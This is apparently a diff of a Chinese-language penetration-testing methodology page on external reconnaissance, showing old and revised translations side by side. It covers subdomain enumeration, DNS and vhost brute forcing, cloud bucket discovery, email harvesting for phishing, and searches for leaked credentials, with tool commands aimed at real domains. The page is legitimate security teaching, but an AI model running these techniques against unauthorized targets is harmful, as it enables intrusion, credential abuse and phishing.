此时,我们已经知道**范围内的所有资产**,如果允许,您可以对所有主机启动一些**漏洞扫描器**NessusOpenVAS。\
此外,您可以启动一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用服务如** shodan **来查找**开放端口**,根据您找到的内容,您应该**查看本书以了解如何对运行的多种可能服务进行渗透测试**。\
**另外,值得一提的是,您还可以准备一些**默认用户名**和**密码**列表,并尝试使用[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)对服务进行**暴力破解**
**另外,值得一提的是,您还可以准备一些**默认用户名**和**密码**列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 对服务进行暴力破解。
## 域名
> 我们知道范围内的所有公司及其资产,现在是时候找范围内的域名了。
> 我们知道范围内的所有公司及其资产,现在是时候找范围内的域名了。
_请注意在以下提出的技术中您还可以找到子域这些信息不应被低估。_
@ -88,7 +88,7 @@ _请注意在以下提出的技术中您还可以找到子域这些信
### **反向DNS**
由于您已经找到了域的所有IP范围您可以尝试对这些IP执行**反向DNS查找**以找到范围内的更多域。尝试使用受害者的某些DNS服务器或一些知名DNS服务器1.1.1.18.8.8.8)。
在找到所有域的IP范围后您可以尝试对这些IP执行**反向DNS查找**以找到范围内的更多域。尝试使用受害者的某些DNS服务器或一些知名DNS服务器1.1.1.18.8.8.8)。
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -97,21 +97,21 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
### **反向 Whois循环**
**whois** 中,您可以找到许多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码... 但更有趣的是,如果您通过这些字段之一执行 **反向 whois 查找**,您可以找到与公司相关的 **更多资产**。\
**whois** 中,您可以找到许多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码... 但更有趣的是,您可以通过任何这些字段执行 **反向 Whois 查找**(例如,出现相同电子邮件的其他 whois 注册表)来找到与公司相关的 **更多资产**。\
您可以使用在线工具,如:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
- [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网页,不免费 API。
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 免费(仅 **100 次免费** 搜索)
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
* [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网页,非免费 API。
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 非免费
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 免费(仅 **100 次免费** 搜索)
* [https://www.domainiq.com/](https://www.domainiq.com) - 非免费
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 来自动化此任务(需要 whoxy API 密钥)。\
您还可以使用 [amass](https://github.com/OWASP/Amass) 进行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
您还可以使用 [amass](https://github.com/OWASP/Amass) 进行一些自动反向 Whois 发现:`amass intel -d tesla.com -whois`
**请注意,您可以使用此技术在每次发现新域时发现更多域名。**
**请注意,您可以使用此技术在找到新域时每次发现更多域名。**
### **跟踪器**
@ -120,24 +120,24 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
- [**Udon**](https://github.com/dhn/udon)
- [**BuiltWith**](https://builtwith.com)
- [**Sitesleuth**](https://www.sitesleuth.io)
- [**Publicwww**](https://publicwww.com)
- [**SpyOnWeb**](http://spyonweb.com)
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
* [**Sitesleuth**](https://www.sitesleuth.io)
* [**Publicwww**](https://publicwww.com)
* [**SpyOnWeb**](http://spyonweb.com)
### **Favicon**
您知道我们可以通过查找相同的 favicon 图标哈希来找到与我们目标相关的域和子域吗?这正是 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具所做的。以下是如何使用它:
您知道我们可以通过查找相同的 favicon 图标哈希来找到与我们目标相关的域和子域吗?这正是 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具所做的。以下是如何使用它:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - 通过发现相同的网站图标哈希值来发现域名](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - 使用相同的网站图标哈希值发现域名](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
简单来说favihash 将允许我们发现与我们目标具有相同网站图标哈希值的域名。
此外,您还可以使用网站图标哈希值搜索技术,如[**这篇博文**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)中所述。这意味着,如果您知道**一个 Web 技术易受攻击版本的网站图标哈希值**,您可以在 shodan 中搜索,**找到更多易受攻击的地方**
此外,您还可以使用网站图标哈希值搜索技术,如[**此博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)中所述。这意味着,如果您知道一个 Web 技术易受攻击版本的网站图标哈希值,您可以在 shodan 中搜索,**找到更多易受攻击的地方**
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -169,7 +169,7 @@ return fhash
显然人们经常将子域分配给属于云提供商的IP并且在某个时候**失去了该IP地址但忘记删除DNS记录**。因此只需在云中如Digital Ocean**生成一个虚拟机**,实际上将**接管一些子域**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了这个情况,并提出了一个**在DigitalOcean生成虚拟机****获取**新机器的**IPv4**并在Virustotal中**搜索指向它的子域记录**的脚本。
[**文章**](https://kmsec.uk/blog/passive-takeover/)解释了这个情况,并提出了一个**在DigitalOcean生成虚拟机****获取**新机器的**IPv4**并在Virustotal中**搜索指向它的子域记录**的脚本。
### **其他方法**
@ -189,7 +189,7 @@ return fhash
检查一下[域接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某些公司**正在使用某个域**,但他们**失去了所有权**。只需注册它(如果足够便宜),并让公司知道。
如果您发现任何**IP不同**于您已在资产发现中找到的IP的**域**,您应该执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据正在运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
如果您发现任何**具有不同IP的域**,与您已在资产发现中找到的不同,您应该执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据正在运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
_请注意有时域托管在客户无法控制的IP中因此不在范围内请小心。_
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
@ -260,7 +260,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
有**其他有趣的工具/API**,即使不是直接专门用于查找子域,也可能有助于查找子域,比如:
有**其他有趣的工具/API**,即使不是直接专门用于查找子域,也可能对查找子域有用,比如:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**** 使用API [https://sonar.omnisint.io](https://sonar.omnisint.io) 来获取子域
```bash
@ -297,7 +297,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 它们会在网络上进行爬取,查找JS文件并从中提取子域。
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 它们在网络上搜索JS文件并从中提取子域。
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -331,9 +331,9 @@ python3 DomainTrail.py -d example.com
### **DNS 暴力破解**
让我们尝试使用可能的子域名来对 DNS 服务器进行暴力破解,以查找新的**子域**。
让我们尝试使用可能的子域名来暴力破解 DNS 服务器以查找新的**子域**。
对于此操作,您将需要一些**常见的子域名单词列表,例如**
对于此操作,您将需要一些**常见的子域名字典,例如**
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -341,7 +341,7 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
还需要良好 DNS 解析器的 IP 地址。为了生成可信 DNS 解析器列表,您可以从 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) 下载解析器并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行筛选。或者您可以使用:[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
还需要良好 DNS 解析器的 IP 地址。为了生成可信 DNS 解析器列表,您可以从 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) 下载解析器并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行过滤。或者您可以使用:[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS 暴力破解最推荐的工具有:
@ -355,7 +355,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕`massdns`编写的go语言封装工具,允许您使用主动暴力破解枚举有效子域,同时解析具有通配符处理和简单输入输出支持的子域
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 编写的 Go 语言包装器,允许您使用主动暴力破解枚举有效子域,同时解析具有通配符处理和简单输入输出支持的子域。
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -371,7 +371,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
在利用公开资源和暴力破解找到子域之后,您可以生成子域的变体,以尝试找到更多信息。有几种工具可用于此目的:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**** 给定域和子域生成排列。
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**** 给定域和子域生成排列组合
```bash
cat subdomains.txt | dnsgen -
```
@ -380,12 +380,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** 给定域和子域生成排列。如果没有指定排列文件gotator 将使用自己的文件。
* [**gotator**](https://github.com/Josue87/gotator)**:** 给定域和子域生成排列组合。如果没有指定排列组合文件gotator 将使用自己的文件。
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列外,它还可以尝试解析它们(但最好使用前面评论过的工具)。
* 可以在[**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt)获取altdns排列**wordlist**。
* 可以在[**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt)获取altdns排列**wordlist**。
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -395,11 +395,11 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于一个域名,根据指定的模式生成新的潜在子域名,以尝试发现更多子域。
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于一个域名,根据指定的模式生成新的潜在子域名,以尝试发现更多子域
#### 智能排列生成
* [**regulator**](https://github.com/cramppet/regulator): 有关更多信息,请阅读此[**文章**](https://cramppet.github.io/regulator/index.html),但基本上它将从**发现的子域**中获取**主要部分**,并将它们混合以找到更多子域。
* [**regulator**](https://github.com/cramppet/regulator): 有关更多信息,请阅读此[**文章**](https://cramppet.github.io/regulator/index.html),但基本上它将从发现的子域中获取**主要部分**,并将它们混合以找到更多子域。
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@ -419,15 +419,15 @@ echo www | subzuf facebook.com
### **虚拟主机**
如果你发现一个IP地址包含**一个或多个网页**属于子域,你可以尝试通过在**OSINT来源**中查找IP中的域名或者**在该IP中暴力破解VHost域名**来**找到其他子域的网页**。
如果你找到一个包含**一个或多个网页**的IP地址属于子域你可以尝试通过在**OSINT来源**中查找该IP上的域名或者**通过在该IP中暴力破解VHost域名**来**找到其他具有网页的子域**。
#### OSINT
可以使用[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **或其他API**来查找一些**IP中的VHosts**
可以使用[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **或其他API**来查找一些**IP中的VHosts**
**暴力破解**
如果你怀疑某个子域可能隐藏在一个Web服务器中可以尝试暴力破解它:
如果您怀疑某个子域可能隐藏在一个Web服务器中可以尝试暴力破解它:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -447,7 +447,7 @@ VHostScan -t example.com
### **CORS暴力破解**
有时您会发现只有在_**Origin**_头中设置有效的域名/子域名时页面才会返回_**Access-Control-Allow-Origin**_头。在这些情况下您可以滥用这种行为来**发现**新的**子域名**。
有时您会发现只有在_**Origin**_头中设置有效的域名/子域名时页面才会返回_**Access-Control-Allow-Origin**_头。在这些情况下,您可以滥用这种行为来**发现**新的**子域名**。
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -466,14 +466,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
如果**子域**指向某个**S3存储桶**[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
如果发现任何与资产发现中已发现的IP不同的**子域**,应执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
_请注意有时子域托管在客户不控制的IP因此不在范围内请小心。_
_请注意有时子域托管在客户不控制的IP因此不在范围内请小心。_
## IPs
在初始步骤中,您可能已经**找到了一些IP范围、域和子域**。\
现在是时候**收集所有这些范围内的IP**和**域/子域DNS查询**了。
使用以下**免费API服务**,您还可以找到域和子域使用过的**先前IP**。这些IP可能仍然归客户所有(并且可能允许您找到[**CloudFlare绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))。
使用以下**免费API服务**,您还可以找到域和子域使用过的**先前IP**。这些IP可能仍然由客户拥有(并可能允许您找到[**CloudFlare绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))。
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -481,90 +481,90 @@ _请注意有时子域托管在客户不控制的IP中因此不在范围
### **寻找漏洞**
**端口扫描所有不属于CDN的IP**(因为您很可能在那里找不到任何有趣的东西)。在发现的运行服务中,您可能**能够找到漏洞**。
**端口扫描所有不属于CDN的IP**(因为您很可能在那里找不到任何有趣的内容)。在发现的运行服务中,您可能**能够找到漏洞**。
**查找**[**关于如何扫描主机的指南**](../pentesting-network/)。
找到一个**关于如何扫描主机的**[**指南**](../pentesting-network/)。
## Web服务器搜索
> 我们已经找到了所有公司及其资产,知道了范围内的IP范围、域和子域。现在是搜索Web服务器的时候了。
> 我们已经找到了所有公司及其资产,了解了范围内的IP范围、域和子域。现在是搜索Web服务器的时候了。
在之前的步骤中,您可能已经执行了一些**对发现的IP和域的侦察**因此您可能已经找到了所有可能的Web服务器。但是如果没有我们现在将看到一些在范围内搜索Web服务器的**快速技巧**。
请注意,这将是**面向Web应用程序发现**的,因此您应该还要执行**漏洞**和**端口扫描****如果范围允许**)。
请注意,这将**针对Web应用程序发现**,因此您应该**执行漏洞**和**端口扫描****如果范围允许**)。
使用[**masscan可以找到与Web服务器相关的**开放端口的**快速方法**](../pentesting-network/#http-port-discovery)。\
另一个友好的工具用于查找Web服务器是[**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe)和[**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域列表它将尝试连接到端口80http和443https。此外您可以指示尝试其他端口
使用[**masscan可以找到此处**](../pentesting-network/#http-port-discovery)与**Web**服务器相关的**开放端口**的**快速方法**。\
另一个友好的工具用于查找Web服务器是[**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe)和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域列表它将尝试连接到端口80http和443https。此外您可以指示尝试其他端口
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **截图**
现在你已经发现了**在范围内的所有Web服务器**(包括公司的**IP地址**和所有**域名**和**子域名**你可能**不知道从哪里开始**。所以,让我们简单点,先开始截取它们的屏幕截图。只需**查看**主页,你就可以找到更**容易**存在**漏洞**的**奇怪**端点。
现在您已经发现了**范围内的所有Web服务器**(包括公司的**IP地址**和所有**域名**和**子域名**您可能**不知道从哪里开始**。因此,让我们简单点,开始截取它们的所有屏幕截图。只需查看**主页**,您就可以找到更**容易**存在**漏洞**的**奇怪**端点。
要执行建议的想法,可以使用[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)或[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
要执行建议的想法,可以使用[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)或[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
此外,你可以使用[**eyeballer**](https://github.com/BishopFox/eyeballer)来运行所有**截图**,告诉你**可能包含漏洞**的内容,以及哪些不包含。
此外,您可以使用[**eyeballer**](https://github.com/BishopFox/eyeballer)来查看所有**截图**,告诉您**可能包含漏洞**的内容,以及哪些不包含。
## 公共云资产
为了找到属于公司的潜在云资产,你应该**从能够识别该公司的关键词列表**开始。例如,对于加密公司,你可以使用诸如:"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">等词语。
为了找到属于公司的潜在云资产,您应该**从能够识别该公司的关键字列表开始**。例如,对于加密公司,您可以使用诸如:"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">等词语。
你还需要**常用的存储桶词汇表**
您还需要**常用存储桶中使用的常见词汇**的词汇表
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
然后,你应该使用这些词生成**排列组合**(查看[**第二轮DNS暴力破解**](./#second-dns-bruteforce-round)获取更多信息)。
然后,您应该使用这些词汇生成**排列组合**(查看[**第二轮DNS暴力破解**](./#second-dns-bruteforce-round)获取更多信息)。
使用生成的词汇表,你可以使用工具如[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist)**或**[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
使用生成的词汇表,您可以使用工具,如[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist)**或**[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
请记住,在寻找云资产时,应该**不仅仅寻找AWS中的存储桶**。
请记住,在寻找云资产时,应该**不仅仅寻找AWS中的存储桶**。
### **寻找漏洞**
如果发现**公开的存储桶或暴露的云功能**,你应该**访问它们**,尝试查看它们提供了什么,以及是否可以滥用它们。
如果发现**公开存储桶或暴露的云功能**等内容,您应该**访问它们**,尝试查看它们提供的内容以及是否可以滥用它们。
## 电子邮件
有了范围内的**域名**和**子域名**你基本上已经有了开始搜索电子邮件的所有**必要信息**。以下是我发现的用于查找公司电子邮件的**API**和**工具**
有了范围内的**域名**和**子域名**您基本上已经拥有了开始搜索电子邮件的所有必要信息。以下是我发现的用于查找公司电子邮件的最佳**API**和**工具**
* [**theHarvester**](https://github.com/laramies/theHarvester) - 带有API
* [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
* [**https://hunter.io/**](https://hunter.io/)免费版的API
* [**https://app.snov.io/**](https://app.snov.io/)免费版的API
* [**https://minelead.io/**](https://minelead.io/)免费版的API
### **寻找漏洞**
稍后,电子邮件将有助于**暴力破解Web登录和身份验证服务**如SSH。此外它们也需要用于**钓鱼**。此外这些API还将为你提供更多关于电子邮件背后的人的**信息**,这对于钓鱼活动很有用。
稍后,电子邮件将有助于**暴力破解Web登录和身份验证服务**如SSH。此外它们也是**钓鱼**所必需的。此外这些API还将为您提供有关电子邮件背后的人的更多**信息**,这对钓鱼活动很有用。
## 凭证泄漏
有了**域名**、**子域名**和**电子邮件**可以开始搜索过去泄露的属于这些电子邮件的凭证:
有了**域名**、**子域名**和**电子邮件**可以开始搜索过去泄露的属于这些电子邮件的凭证:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **寻找漏洞**
如果找到**有效的泄漏**凭证,这将是一个非常容易的胜利。
如果找到**有效泄露**的凭证,这将是一个非常简单的胜利。
## 机密信息泄漏
凭证泄漏涉及公司遭受**泄漏并出售敏感信息**的黑客攻击。然而,公司可能受到**其他泄漏**的影响,这些信息不在这些数据库中:
凭证泄漏涉及公司遭受**泄露并出售敏感信息**的黑客攻击。但是,公司可能受到**其他泄漏**的影响,这些信息不在这些数据库中:
### Github泄漏
凭证和API可能会泄漏在**公司**或**那github公司的用户**的**公共存储库**中。\
可以使用**工具**[**Leakos**](https://github.com/carlospolop/Leakos)来**下载**一个**组织**及其**开发人员**的所有**公共存储库**,并自动运行[**gitleaks**](https://github.com/zricethezav/gitleaks)。
凭证和API可能会泄漏在**公司**或**那github公司的用户**的**公共存储库**中。\
可以使用**工具**[**Leakos**](https://github.com/carlospolop/Leakos)来**下载**一个**组织**及其**开发人员**的所有**公共存储库**,并自动运行[gitleaks](https://github.com/zricethezav/gitleaks)。
**Leakos**也可用于对其提供的**URL传递的所有文本**运行**gitleaks**,因为有时**网页也包含机密信息**。
#### Github Dorks
还要检查这个**页面**,以查找你攻击的组织中可能还可以搜索的**github dorks**
还要检查此**页面**,以查找您攻击的组织中可能还可以搜索的潜在**github dorks**
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -572,52 +572,52 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### 粘贴泄漏
有时攻击者或工作人员会在粘贴网站上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索非常有趣。\
可以使用工具[**Pastos**](https://github.com/carlospolop/Pastos)同时在80多个粘贴网站中搜索。
有时攻击者或工作人员会在粘贴网站上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索这些信息非常有趣。\
可以使用工具[**Pastos**](https://github.com/carlospolop/Pastos)同时在80多个粘贴网站中搜索。
### Google Dorks
虽然老旧但实用的Google Dorks始终有助于找到**不应存在的暴露信息**。唯一的问题是[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千个可能的查询你无法手动运行。因此你可以选择你最喜欢的10个或者你可以使用**工具,如**[**Gorks**](https://github.com/carlospolop/Gorks)**来运行它们**。
虽然老旧但实用的Google Dorks始终有助于找到**不应存在的公开信息**。唯一的问题是[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千种可能的查询您无法手动运行。因此您可以选择您最喜欢的10个查询或者您可以使用**工具,如**[**Gorks**](https://github.com/carlospolop/Gorks)**来运行它们**。
_请注意期望使用常规Google浏览器运行整个数据库的工具将永远无法结束因为Google会很快阻止。_
_请注意期望使用常规Google浏览器运行整个数据库的工具将永远无法结束因为Google会很快阻止。_
### **寻找漏洞**
如果找到**有效的泄漏**凭证或API令牌这将是一个非常容易的胜利。
如果找到**有效泄露**的凭证或API令牌这将是一个非常简单的胜利。
## 公共代码漏洞
如果发现公司有**开源代码**可以对其进行**分析**并搜索其中的**漏洞**。
如果发现公司有**开源代码**可以对其进行**分析**并搜索其中的**漏洞**。
**根据语言的不同**,你可以使用不同的**工具**
根据**语言**的不同,您可以使用不同的**工具**
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
还有一些允许你**扫描公共存储库**的免费服务,例如:
还有一些免费服务允许您**扫描公共存储库**,例如:
* [**Snyk**](https://app.snyk.io/)
## [**网络渗透方法论**](../../network-services-pentesting/pentesting-web/)
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/)
**大多数漏洞**由漏洞猎人发现,位于**Web应用程序**内部,因此我想谈谈**Web应用程序测试方法论**,您可以在[**此处找到此信息**](../../network-services-pentesting/pentesting-web/)。
**大多数漏洞**都存在于**Web应用程序**中,因此我想谈一下**Web应用程序测试方法论**,您可以在[**这里找到这些信息**](../../network-services-pentesting/pentesting-web/)。
我还想特别提及[**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/#automatic-scanners),因为尽管不应期望它们发现非常敏感的漏洞,但它们对于在**工作流程中实施一些初始Web信息**非常有用。
我还想特别提及[**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/#automatic-scanners),因为尽管不应指望它们找到非常敏感的漏洞,但它们对于在**工作流程中实施一些初始Web信息**非常有用。
## 总结
> 恭喜!此时您已经执行了**所有基本枚举**。是的,这是基本的,因为还可以进行更多的枚举(稍后将看到更多技巧)。
> 恭喜!到目前为止,您已经执行了**所有基本枚举**。是的,这是基本的,因为还可以进行更多的枚举(稍后将看到更多技巧)。
因此,您已经:
1. 找到了**范围内的所有公司**
2. 找到了所有公司的**资产**(并在范围内执行了一些漏洞扫描)
3. 找到了所有公司的**域**
4. 找到了所有域的**子域**(有子域接管吗?)
5. 找到了范围内所有**IP地址**(来自和**不来自CDN**
6. 找到了所有**Web服务器**并对它们进行了**截图**(有什么奇怪的值得深入研究的吗?)
7. 找到了所有公司的**潜在公共云资产**
8. **电子邮件**、**凭据泄漏**和**秘密泄漏**,这些可能会让您**轻松获得巨大收益**
2. 找到了所有公司拥有的**资产**(并对其中的一些进行了漏洞扫描)
3. 找到了所有公司拥有的**域**
4. 找到了域的所有**子域**(有任何子域接管吗?)
5. 找到了范围内所有**IP地址**(来自和**不来自CDN**
6. 找到了所有**Web服务器**并对它们进行了**截图**(有任何值得深入查看的奇怪情况吗?)
7. 找到了公司拥有所有**潜在公共云资产**
8. 可能会为您带来**轻松大收获**的**电子邮件**、**凭据泄漏**和**秘密泄漏**
9. **对您找到的所有网站进行渗透测试**
## **全面侦察自动化工具**
@ -627,15 +627,15 @@ _请注意期望使用常规Google浏览器运行整个数据库的工具将
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
